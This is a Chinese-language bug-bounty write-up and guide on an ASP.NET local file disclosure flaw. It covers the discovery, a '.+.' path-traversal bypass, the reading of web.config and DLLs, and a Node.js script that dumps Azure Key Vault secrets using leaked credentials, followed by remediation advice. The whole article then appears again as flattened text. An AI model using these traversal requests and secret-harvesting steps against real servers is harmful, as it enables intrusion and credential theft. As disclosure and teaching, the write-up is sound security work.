挖洞经验 | 看我如何通过ASP Secrets读取获得了1.7万美金的漏洞奖励
字数 1040 2025-08-18 11:37:53

ASP.NET 本地文件披露漏洞(LFD)分析与利用指南

漏洞概述

ASP.NET 本地文件披露漏洞(Local File Disclosure, LFD)是一种允许攻击者读取服务器上敏感文件的严重安全漏洞。本案例中,研究人员通过精心构造的请求参数,成功读取了服务器上的源代码、配置文件等敏感信息,最终获得了17,000美元的漏洞奖励。

漏洞发现过程

初始发现

  1. 发现文件下载端点:

    https://domain.com/utility/download.aspx?f=DJ/lc1jVgHTZF...
    
    • 该端点最初使用加密参数下载文档
    • 参数看似不可篡改,但引起了研究人员的注意
  2. 发现未加密的变体:

    https://domain.com/utility/download.aspx?f=file1234.docx
    
    • 直接使用明文文件名作为参数
    • 响应返回文件内容

漏洞验证

  1. 尝试读取ASPX文件本身:

    GET /utility/download.aspx?f=download.aspx
    
    • 成功返回download.aspx的源代码
    • 证明存在本地文件读取漏洞
  2. 发现相关限制:

    • 无法直接使用..进行目录遍历
    • 常规的目录遍历尝试被阻止

绕过技术

字符模糊测试

  1. 测试方法:

    GET /utility/download.aspx?f=.[fuzz]./utility/download.aspx
    
    • 手动枚举特殊字符
    • 发现+.组合可绕过限制:
      GET /utility/download.aspx?f=.+./utility/download.aspx
      
  2. 成功实现目录遍历:

    • 该技术允许读取上级目录的文件
    • 在目标环境中有效,但在标准ASP.NET中无效,表明存在特定安全漏洞

文件类型扩展

  1. 读取ASHX处理器文件:

    GET /utility/download.aspx?f=example.ashx
    
    • 成功返回WebHandler源代码
    • 包含业务逻辑和潜在敏感信息
  2. 读取DLL程序集:

    GET /utility/download.aspx?f=bin/redacted.dll
    
    • 可下载应用程序的编译后DLL
    • 使用dnSpy等工具可反编译恢复源代码

关键敏感文件读取

web.config文件

  1. 读取方法:

    GET /utility/download.aspx?f=web.config
    
  2. 典型敏感内容:

    <connectionStrings>
      <add name="PodioAspnetSampleDb" 
           connectionString="server=WSA07;database=PodioAspnetSampleDb;userid=sa;password=pass" 
           providerName="System.Data.SqlClient" />
    </connectionStrings>
    
    <appSettings>
      <add key="keyVaultDataPlaneUri" value="redacted" />
      <add key="uniqueKeyVaultNameUri" value="redacted" />
      <add key="keyVaultClientId" value="redacted" />
      <add key="keyVaultClientSecretIdentifier" value="redacted" />
    </appSettings>
    
    • 数据库连接字符串
    • 各种API密钥和凭据
    • 应用程序配置参数

Azure Key Vault访问

  1. 利用获取的凭据访问Key Vault:

    • 使用Node.js脚本与Azure Key Vault交互
    • 示例脚本:
      var KeyVault = require('azure-keyvault');
      var AuthenticationContext = require('adal-node').AuthenticationContext;
      
      var clientId = "从web.config获取";
      var clientSecret = "从web.config获取";
      var vaultUri = "从web.config获取";
      
      var authenticator = function(challenge, callback) {
        var context = new AuthenticationContext(challenge.authorization);
        return context.acquireTokenWithClientCredentials(
          challenge.resource, clientId, clientSecret, 
          function(err, tokenResponse) {
            if (err) throw err;
            var authorizationValue = tokenResponse.tokenType + ' ' + tokenResponse.accessToken;
            return callback(null, authorizationValue);
          });
      };
      
      var credentials = new KeyVault.KeyVaultCredentials(authenticator);
      var client = new KeyVault.KeyVaultClient(credentials);
      
      client.getSecrets(vaultUri).then(function(value) {
        console.log(value); // 输出所有密钥
      });
      
  2. 获取的敏感信息:

    • FTP凭据
    • 各种API密钥
    • 其他应用程序机密

漏洞修复建议

  1. 输入验证:

    • 严格验证文件路径参数
    • 禁止目录遍历字符(如.., +.等)
    • 限制文件扩展名白名单
  2. 访问控制:

    • 实现基于角色的访问控制
    • 限制可访问的文件目录
  3. 敏感信息保护:

    • 避免在web.config中存储明文凭据
    • 使用Azure Managed Identities替代客户端密钥
    • 实施适当的密钥轮换策略
  4. 安全配置:

    • 在生产环境中禁用调试模式
    • 限制错误信息泄露

总结

本案例展示了ASP.NET应用程序中本地文件披露漏洞的严重性,通过精心构造的请求,攻击者可以逐步深入获取服务器上的敏感信息,最终可能导致整个系统沦陷。开发人员应重视文件操作的安全性,实施严格的输入验证和访问控制,同时避免在配置文件中存储敏感凭据。

ASP.NET 本地文件披露漏洞(LFD)分析与利用指南 漏洞概述 ASP.NET 本地文件披露漏洞(Local File Disclosure, LFD)是一种允许攻击者读取服务器上敏感文件的严重安全漏洞。本案例中,研究人员通过精心构造的请求参数,成功读取了服务器上的源代码、配置文件等敏感信息,最终获得了17,000美元的漏洞奖励。 漏洞发现过程 初始发现 发现文件下载端点: 该端点最初使用加密参数下载文档 参数看似不可篡改,但引起了研究人员的注意 发现未加密的变体: 直接使用明文文件名作为参数 响应返回文件内容 漏洞验证 尝试读取ASPX文件本身: 成功返回download.aspx的源代码 证明存在本地文件读取漏洞 发现相关限制: 无法直接使用 .. 进行目录遍历 常规的目录遍历尝试被阻止 绕过技术 字符模糊测试 测试方法: 手动枚举特殊字符 发现 +. 组合可绕过限制: 成功实现目录遍历: 该技术允许读取上级目录的文件 在目标环境中有效,但在标准ASP.NET中无效,表明存在特定安全漏洞 文件类型扩展 读取ASHX处理器文件: 成功返回WebHandler源代码 包含业务逻辑和潜在敏感信息 读取DLL程序集: 可下载应用程序的编译后DLL 使用dnSpy等工具可反编译恢复源代码 关键敏感文件读取 web.config文件 读取方法: 典型敏感内容: 数据库连接字符串 各种API密钥和凭据 应用程序配置参数 Azure Key Vault访问 利用获取的凭据访问Key Vault: 使用Node.js脚本与Azure Key Vault交互 示例脚本: 获取的敏感信息: FTP凭据 各种API密钥 其他应用程序机密 漏洞修复建议 输入验证: 严格验证文件路径参数 禁止目录遍历字符(如 .. , +. 等) 限制文件扩展名白名单 访问控制: 实现基于角色的访问控制 限制可访问的文件目录 敏感信息保护: 避免在web.config中存储明文凭据 使用Azure Managed Identities替代客户端密钥 实施适当的密钥轮换策略 安全配置: 在生产环境中禁用调试模式 限制错误信息泄露 总结 本案例展示了ASP.NET应用程序中本地文件披露漏洞的严重性,通过精心构造的请求,攻击者可以逐步深入获取服务器上的敏感信息,最终可能导致整个系统沦陷。开发人员应重视文件操作的安全性,实施严格的输入验证和访问控制,同时避免在配置文件中存储敏感凭据。